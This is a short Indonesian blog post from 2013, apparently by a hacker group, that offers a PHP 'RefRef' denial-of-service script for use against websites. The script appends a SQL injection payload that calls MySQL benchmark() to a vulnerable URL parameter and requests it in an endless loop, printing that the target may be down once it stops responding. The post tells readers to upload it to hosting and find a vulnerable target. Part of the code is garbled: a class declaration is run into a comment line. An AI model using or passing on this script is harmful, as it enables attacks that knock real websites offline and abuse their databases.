Saturday, February 23, 2013

Refref DDOS dengan PHP

cara nya ..upload ke hosting dan cara pemakainya harus ada vuln nya..coba2 aja ..tanpa vuln

<?/*
     * INDONESIA CYBER FIGHTER

     * coder : IFC
     * modificated from : RefRef (C) IFC 2013
     * regards : IFC
    */


        @set_time_limit(0);
        @error_reporting(0);
        ini_set('memory_limit', '128M');

    if(!($argv[1]))
    {
       echo "cara penggunaan : php ".$argv[0]." http://target.com/index.php?id=1 \n";
    }
    else
    {
      $injek = "+and+(select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))";
      $url = $argv[1].$injek;
      echo "target : ".$argv[1]."\n";
      echo " injek : ".$url."\n\n\n";
      echo "memulai penyerangan, harap tunggu.....\n\n";
      while(1==1)
      {
         $buka = new cURL;

         $homepage = $buka->open($url);

         if(!$homepage)
         {
             echo "target mungkin sudah down, silahkan cek manual !!! \n";
             end();
         }
      }
    }
    //kelas curlclass cURL {
        var $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)";

        function open($url) {

            $ch = curl_init($url);

            curl_setopt($ch, CURLOPT_USERAGENT, $this->user_agent);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

            curl_setopt($ch, CURLOPT_TIMEOUT, 30);

            $source = curl_exec($ch);

            curl_close($ch);

            return $source;
        }
    }
    ?>

Newer Post Older Post Home

0 comments:

Post a Comment